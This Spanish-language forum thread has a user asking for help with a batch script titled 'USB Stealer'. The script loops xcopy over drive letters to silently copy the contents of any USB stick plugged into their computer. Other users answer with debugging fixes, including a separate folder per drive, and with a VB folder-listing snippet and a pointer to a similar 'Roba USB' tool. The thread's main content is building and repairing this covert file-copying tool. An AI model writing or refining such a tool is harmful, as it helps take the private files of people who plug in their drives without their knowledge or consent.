Ayuda Código CMD- USB Stealer

Iniciado por shhadow9, 1 Junio 2014, 14:27 PM

0 Miembros y 1 Visitante están viendo este tema.

shhadow9

Hola buenas,
Quiero hacer un programa que: Copie memorias USBs en una carpeta (que yo elija) para ver que contenia la USB que se conecto en mi pc, pero que tambien cuando haya copiado la USB, siga funcionando por si meten otra USB y tambien copiarla en otra carpeta con un nombre diferente,
Bien dicho esto yo he estado trabajando en el código y he conseguido que me copie las USBs, pero aun me falta que si se introduce una segunda USB la copie tambien.
Mi código:
@echo off
color 0a
cls

:C
           
                           
if exist nose (
exit
             
) else ( 
xcopy "A:" "nose" /Y /H /E /F /I 
xcopy "B:" "nose" /Y /H /E /F /I
xcopy "D:" "nose" /Y /H /E /F /I
xcopy "E:" "nose" /Y /H /E /F /I
xcopy "F:" "nose" /Y /H /E /F /I
xcopy "G:" "nose" /Y /H /E /F /I
xcopy "H:" "nose" /Y /H /E /F /I
xcopy "I:" "nose" /Y /H /E /F /I
xcopy "J:" "nose" /Y /H /E /F /I
xcopy "K:" "nose" /Y /H /E /F /I
goto C

)

Espero su ayuda, Gracias de antemano [Escrito en código Bash]

adrianmendezRap

No digo que en Batch no sea posible, pero has probado con otros lenguajes de scripting un poco mas avanzados? Al fin de cuentas Batch es una pasarela para la ejecución de procesos automatizados, aunque se le llame lenguaje no llega a serlo.
No es antiguo... es de coleccionista.

shhadow9

Intente hacerlo en vb 2010 pero tamben llegue al mismo problema lo de las carpetas

engel lex

Cita de: shhadow9 en  3 Junio 2014, 21:04 PM
Intente hacerlo en vb 2010 pero tamben llegue al mismo problema lo de las carpetas


un ejemplo sacado de la misma msdn solo buscando en google sobre listar carpetas en vb
Código (vb) [Seleccionar]
Dim archivo As String
List1.Clear
archivo = Dir(Text1.Text)
Do While archivo <> ""
List1.AddItem archivo
archivo = Dir
Loop
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

daryo

#4
bueno por esto:
Código (DOS) [Seleccionar]

if exist nose (
exit
             
)

como encuentra el directorio nose una vez copiada una memoria usb, comprueba que existe el directorio y se cierra el programa y por tanto no copia nada. tendras que crear un directorio aparte por cada memoria usb.

Código (DOS) [Seleccionar]
xcopy "A:" "A" /Y /H /E /F /I  
xcopy "B:" "B" /Y /H /E /F /I


y luego comprobar si existe cada directorio. claro hay mejores formas de hacerlo pero lo digo asi para que encaje con tu programa
buenas

Eleкtro

Podrías sacar algunas ideas productivas de aquí:



[BATCH] [APORTE] USB MON (Roba USB)

PD: Pero opino lo mismo que ya te comentaron, deberías utilizar un lenguaje de verdad.

Saludos